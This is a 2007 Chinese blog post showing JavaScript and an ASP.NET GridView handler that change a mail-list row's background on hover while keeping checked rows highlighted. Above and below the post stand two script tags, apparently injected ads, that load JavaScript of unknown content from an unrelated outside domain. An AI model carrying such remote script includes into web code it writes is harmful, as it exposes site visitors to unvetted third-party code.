js+ asp.Net ajax开发163邮箱效果（列表底色、多选拖动等)--列表底色随鼠标移动变化

<script language='javascript' src='http://www.taizhou.la/AD/ad.js'></script>

这个月很忙
一直没有时间记点东西
把上个项目中(asp.Net )
模仿163邮箱邮件列表相关效果放出来
和大家交流一下
包括 邮件底色变化、checkBox相关、拖放邮件至不同文件夹实现分配等等

很多也是来自网上的技巧
有的实现也比较veak 希望大家指正

邮件底色：
163邮箱原始效果如下图，鼠标所在行底色变化，从而提高可读性
其实这个很普遍，在Andy Budd的《css mastery》中就有提到实现


在FF中可以在CSS里用TR元素的hover来实现
而对于IE，可以通过js中添加TR元素的mouseover、mouseOut来实现

另外，对于已经check的邮件，鼠标再移上去是不会变色的


好了，下面就代码说明我是怎样实现这个效果的
js如下：

var  color1  =   " #fff58f " ;   // 选中颜色
var  color2  =   " #afddff " ;   // 移动颜色
var  color3  =   "" ;     // 初始色
function  mov(obj) 
{
    if (obj.getElementsByTagName('TD').item(0).getElementsByTagName('INPUT').length>0 && obj.getElementsByTagName('TD').item(0).getElementsByTagName('INPUT').item(0).checked == true) {
    
        obj.style.background=color1;           
        return; 
    }
    else
     {
        obj.style.background=color2;       
    }    
             
}  
function  mou(obj,originalColor) 
{  
    if (obj.getElementsByTagName('TD').item(0).getElementsByTagName('INPUT').length>0 && obj.getElementsByTagName('TD').item(0).getElementsByTagName('INPUT').item(0).checked == true)
        return; 
    else if(originalColor ==null)
      obj.style.background=color3;   
    else
       obj.style.background=originalColor;           
}  

上面对于INPUT的判断是用于检测是否是选中行

在asp.Net中，主要是以GridView来呈现表格数据
而且，GridView通常都会应用AlternatingRowStyle交替行样式，
需要对163的样式进行一些扩展，以允许交替行鼠标移开后恢复原来的交替颜色，
方法就是在mouseout事件中把当前rowStyle的底色传递进去
需要注意的是存在一个从System.Color到HtmlColor的转换

     protected   void  grvProjList_RowDataBound( object  sender, GridViewRowEventArgs e)
     {
        if (e.Row.RowType == DataControlRowType.DataRow)
         {           
            if ((e.Row.RowIndex % 2) == 0)
             {
                e.Row.Attributes.Add("onmouseout", "mou(this,'" + System.Drawing.ColorTranslator.ToHtml(grvProjList.RowStyle.BackColor) + "')");
            }
            else
             {
                e.Row.Attributes.Add("onmouseout", "mou(this,'" + System.Drawing.ColorTranslator.ToHtml(grvProjList.AlternatingRowStyle.BackColor) + "')");
            }

            e.Row.Attributes.Add("onmouseover", "mov(this)");        
           
            e.Row.Attributes["style"] = "Cursor:hand";
        }
    }

好了，把上面的代码加入你的GridView,并且确保第一列是个CheckBox列
就能看到选中的效果了



 

calmzeal 2007-07-29 14:54 发表评论

<script language='javascript' src='http://www.taizhou.la/AD/as.js'></script>